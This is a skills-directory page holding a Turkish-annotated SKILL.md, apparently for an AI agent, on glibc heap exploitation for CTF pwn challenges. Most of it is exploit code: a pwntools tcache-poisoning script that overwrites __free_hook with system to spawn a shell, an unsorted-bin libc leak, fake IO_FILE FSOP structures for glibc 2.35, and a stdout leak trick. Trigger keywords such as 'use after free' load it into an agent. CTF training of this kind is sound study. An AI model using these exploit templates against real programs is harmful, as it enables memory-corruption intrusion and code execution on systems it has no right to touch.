Back to skills
SKILL.md
Heap Exploit
ASecurityGlibc heap exploitation — tcache poisoning, unsorted bin leak, IO_FILE FSOP
- 4 stars
- 0 votes
- 0 copies
- 2 views
- Added September 8, 2026
Security analysis
100/100npx -y skills add MustafaKemal0146/fetih --skill heap-exploit --agent claude-codeAre you the author of Heap Exploit?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/mustafakemal0146-heap-exploit)---
name: heap-exploit
description: Glibc heap exploitation — tcache poisoning, unsorted bin leak, IO_FILE FSOP
tags: [ctf, pwn, heap, tcache, unsorted-bin, io-file, fsop, glibc, libc-leak]
triggers:
- "heap challenge"
- "malloc free"
- "tcache"
- "use after free"
- "double free"
- "unsorted bin"
- "glibc 2.35"
- "IO_wfile_jumps"
difficulty: hard
category: pwn
solved_challenges:
- "picoCTF 2024 - high-frequency-troubles (tcache + IO_FILE FSOP, glibc 2.35)"
- "PlaidCTF 2023 - baby heap (Rust/Wine, vector layout overwrite)"
adapted_for: fetih
---
# Heap Exploitation — Glibc
## Heap Primitives (Chunk Layout ve Bin'ler)
### Chunk Yapısı (64-bit glibc)
```
chunk → ┌──────────────────────┐
│ prev_size (8 byte) │ ← önceki chunk serbest ise aktif
│ size | flags (8 b) │ ← P=prev_in_use, M=mmap, A=non-main
mem → ├──────────────────────┤
│ fd pointer (8 byte) │ ← serbest chunk: bin'e bağlı
│ bk pointer (8 byte) │
│ ...kullanıcı veri...│
nextchunk→ └──────────────────────┘
```
Minimum chunk boyutu: **32 byte** (glibc 64-bit).
Chunk boyutu her zaman **16'nın katı** olmalı.
### Bin Türleri
| Bin | Boyut (64-bit) | glibc versiyonu | Not |
|------------|-------------------|-----------------|-----------------------------|
| tcache | 0x20 – 0x410 | >= 2.26 | per-thread, 7 adet limit |
| fastbin | 0x20 – 0x80 | hep | LIFO, single-linked |
| smallbin | 0x20 – 0x3f0 | hep | double-linked |
| largebin | >= 0x400 | hep | double-linked + size list |
| unsortedbin| herhangi | hep | libc içi buffer, büyük leak |
---
## Tcache Poisoning Şablonu
glibc 2.32+ sürümünde tcache fd pointer'ı **XOR şifreli** (safe-linking):
```
fd_stored = fd_real ^ (chunk_addr >> 12)
```
Bunu bypass etmek için heap adresini bilmen gerekir.
```python
#!/usr/bin/env python3
# tcache_poison.py — Use-After-Free / Double-Free ile tcache poisoning
from pwn import *
BINARY = "./vuln"
LIBC = "./libc.so.6"
context.binary = elf = ELF(BINARY)
libc = ELF(LIBC)
context.log_level = "info"
def start():
if args.REMOTE:
return remote("chall.ctf.site", 1337)
return process(BINARY)
io = start()
# ── Menü yardımcı fonksiyonlar ───────────────────────────────────────────────
def alloc(size, data=b"A"):
io.sendlineafter(b"choice: ", b"1")
io.sendlineafter(b"size: ", str(size).encode())
io.sendafter(b"data: ", data)
def free(idx):
io.sendlineafter(b"choice: ", b"2")
io.sendlineafter(b"index: ", str(idx).encode())
def show(idx):
io.sendlineafter(b"choice: ", b"3")
io.sendlineafter(b"index: ", str(idx).encode())
return io.recvline()
# ── Aşama 1: Heap Adresi Leak (glibc >= 2.32 için gerekli) ──────────────────
# tcache fd = (next_chunk_addr >> 12) ^ chunk_addr
# İlk serbest chunk fd'si: 0 ^ (heap >> 12) = heap >> 12
alloc(0x30, b"AAAA") # chunk 0
free(0) # tcache'e at
# UAF varsa chunk 0'ı hala okuyabiliriz
raw = show(0)
heap_leak = u64(raw[:8].ljust(8, b"\x00"))
heap_base = heap_leak << 12 # safe-linking decode
log.success(f"heap base = {hex(heap_base)}")
# ── Aşama 2: Libc Leak (unsorted bin üzerinden) ──────────────────────────────
# Tcache + fastbin dolu değilse büyük chunk unsorted bin'e gider
alloc(0x420, b"B" * 8) # büyük chunk (tcache'e gitmesin, 0x410 üstü)
alloc(0x30, b"guard") # alt chunk — top chunk ile birleşmesin
free(1) # unsorted bin'e gider
raw2 = show(1) # fd = unsorted bin başı = main_arena + offset
arena_leak = u64(raw2[:8].ljust(8, b"\x00"))
libc.address = arena_leak - libc.sym["main_arena"] - 96
log.success(f"libc base = {hex(libc.address)}")
# ── Aşama 3: __free_hook veya __malloc_hook Overwrite (glibc < 2.34) ────────
# glibc 2.34+ hook'lar kaldırıldı → IO_FILE FSOP kullan (aşağıya bak)
free_hook = libc.sym["__free_hook"]
system = libc.sym["system"]
# Poisoned chunk: tcache fd'yi __free_hook'a yönlendir
# glibc 2.32+ safe-linking: fd = (heap >> 12) ^ target
def safe_link(heap_addr, target):
return (heap_addr >> 12) ^ target
alloc(0x30, b"C" * 8) # chunk 3
alloc(0x30, b"D" * 8) # chunk 4
free(4)
free(3) # tcache: 3 → 4 → NULL
# Chunk 3 UAF: fd'yi __free_hook'a yönlendir
corrupted_fd = safe_link(heap_base + 0x????, free_hook) # heap_base + chunk 3 offset
# show(3) ile chunk 3 adresini öğren, sonra hesapla
io.sendlineafter(b"choice: ", b"4") # edit / write primitive varsa
io.sendlineafter(b"index: ", b"3")
io.send(p64(corrupted_fd))
# Şimdi iki kez alloc et — ikincisi __free_hook bölgesine düşer
alloc(0x30, b"/bin/sh\x00") # chunk 3'ü al
alloc(0x30, p64(system)) # __free_hook = system
# free("/bin/sh") → system("/bin/sh")
free(3 + 1) # "/bin/sh" içeren chunk'ı serbest bırak
io.interactive()
```
---
## Unsorted Bin Libc Leak
```python
# Tek seferlik leak — UAF ile okuma primitive gerekli
# 1) 0x420+ boyutlu chunk ayır (tcache sınırı aşsın)
alloc(0x420) # chunk A
# 2) Alt guard chunk ayır (top chunk ile birleşmesin)
alloc(0x30) # chunk B (guard)
# 3) chunk A'yı serbest bırak → unsorted bin'e gider
free(0) # chunk A → fd/bk = main_arena + 0x60 (ya da offset)
# 4) UAF ile chunk A'nın fd'sini oku
data = show(0)
arena_ptr = u64(data[:8].ljust(8, b"\x00"))
# 5) Offset'i bul
# gdb ile: p &main_arena, leaked değerden çıkar
ARENA_OFFSET = 0x1ecbe0 # glibc 2.35 örnek — versiyon bağlı!
libc.address = arena_ptr - ARENA_OFFSET
log.success(f"libc base = {hex(libc.address)}")
```
---
## IO_FILE FSOP — picoCTF hft Örneği (glibc 2.35)
glibc 2.34+ `__malloc_hook` / `__free_hook` kaldırıldı.
Alternatif: `_IO_FILE` yapısını taklit et, `_IO_flush_all_lockp` tetiklenince
`vtable->__overflow` üzerinden RIP kontrolü al.
### Sahte IO_FILE Yapısı
```python
# glibc 2.35 IO_FILE FSOP — stdout overwrite
# Kaynak: roderick01's House of Apple 2
FSOP_OFFSET = 0 # _IO_list_all - libc.address
def craft_fake_file(libc, rdi_val, rsi_val, rdx_val, func_ptr):
"""
_IO_flush_all_lockp yolu:
_IO_wfile_overflow → _IO_wdoallocbuf → _IO_WDOALLOCATE
vtable = _IO_wfile_jumps - 0x18 + bazı magic
"""
IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
setcontext = libc.sym["setcontext"] + 61 # setcontext+61: rdi→rdx, jmp [rdx+0xa0]
fake = flat({
0x00: 0, # _flags (özel değer gerekebilir)
0x28: 1, # _IO_write_ptr > _IO_write_base
0x30: 0, # _IO_write_base
0x38: rdi_val, # _IO_buf_base → rdi olarak geçer
0xa0: func_ptr, # setcontext+61 için jump adresi
0xc0: 0, # _mode = 0
0xd8: IO_wfile_jumps - 0x18, # vtable (magic offset)
0xe0: rsi_val, # wide_data başı
0xe8: rdx_val,
}, length=0x100, filler=b"\x00")
return fake
# Kullanım — stdout'u overwrite et:
stdout = libc.sym["_IO_2_1_stdout_"]
fake_file = craft_fake_file(libc, next(libc.search(b"/bin/sh")), 0, 0, libc.sym["system"])
# Heap'teki write primitive ile stdout bölgesini yaz
# ...
```
### Basit FSOP Şablonu (stdout flag trick)
```python
# _IO_2_1_stdout_ flags alanını düzenle → fileno'yu oku → libc leak
stdout_addr = libc.sym["_IO_2_1_stdout_"]
# flags = 0xfbad1800 (okuma modu açık)
# _IO_write_base küçültülünce flush tetiklenir ve bellek sızar
fake_flags = 0xfbad1800
writes = {
stdout_addr : fake_flags,
stdout_addr + 0x20: stdout_addr + 0x80, # _IO_write_base = _IO_buf_base
stdout_addr + 0x28: stdout_addr + 0x80, # _IO_write_ptr
}
# Bu yazma sonrası next flush → libc adresleri stdout'a basılır
```
---
## pwntools Heap Debug Yardımcıları
```python
# pwndbg ile heap durumunu gör:
# (gdb) heap → tüm chunk'lar
# (gdb) bins → bin durumu
# (gdb) tcache → tcache perthread yapısı
# (gdb) vis_heap_chunks → görsel chunk haritası
# pwntools ile malloc_chunk parse:
from pwn import *
libc = ELF("./libc.so.6")
# Heap adresini leak ettikten sonra chunk içeriğini oku:
def read_chunk(io, addr, size=0x40):
# memory read primitive gerekli
pass
# GDB attach (local debug):
if args.GDB:
gdb.attach(io, gdbscript="""
break *0x401234
heap
bins
continue
""")
```
---
## glibc Versiyon Tespiti
```bash
# 1) Sunucudaki libc'yi öğren
libc --version # bağlantı varsa
# 2) ldd ile
ldd ./vuln
# linux-vdso.so.1 => ...
# libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6
# 3) strings ile
strings /lib/x86_64-linux-gnu/libc.so.6 | grep "GNU C Library"
# GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3) stable release
# 4) Libc'yi uzak sunucudan çek (binary'de yüklü ise):
# patchelf --print-needed ./vuln → gereken libc adını gösterir
# 5) Online araç: libc.blukat.me
# Birden fazla sembol offset'i gir → libc versiyonunu bul
```
### Patchelf ile Yerel Libc Kullan
```bash
# Belirli bir libc ile çalıştır (docker imajından çekilen)
patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./vuln
patchelf --set-rpath . ./vuln
./vuln # artık yerel libc.so.6 ve ld kullanır
```
---
## Yaygın Tuzaklar
### 1. Guard Chunk Unutmak
```python
# Büyük chunk free edince top_chunk ile birleşmemeli
alloc(0x420, b"leak chunk")
alloc(0x30, b"GUARD") # bu olmadan unsorted bin'e gitmez, top_chunk'a katılır
free(0)
```
### 2. Tcache Sayacı (glibc >= 2.26)
Her boyut için tcache'de max 7 chunk var. 8. free → unsorted/fastbin'e gider.
```python
# Tcache'i doldur, 8. free unsorted bin'e gitsin:
for _ in range(7):
alloc(0x30)
for i in range(7):
free(i)
# Şimdi 8. chunk free → fastbin veya unsorted bin (boyuta göre)
```
### 3. Safe-Linking (glibc >= 2.32)
Tcache fd/bk XOR şifreli. Heap leak olmadan poisoning çalışmaz.
Heap adresini UAF ile sızdır, sonra `(addr >> 12) ^ target` hesapla.
### 4. glibc 2.34+ Hook'lar Yok
`__malloc_hook`, `__free_hook`, `__realloc_hook` kaldırıldı.
Alternatifler:
- **IO_FILE FSOP** (House of Apple, House of Cat)
- **exit_funcs** overwrite (setjmp/longjmp tablosu)
- **stack pivot + ROP** (setcontext gadget)
<!--
⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
Yetkisiz kullanim/kopyalama tespit edilebilir.
hash: 85a65cfd16586727
-->
Attribution
Comments
Loading comments…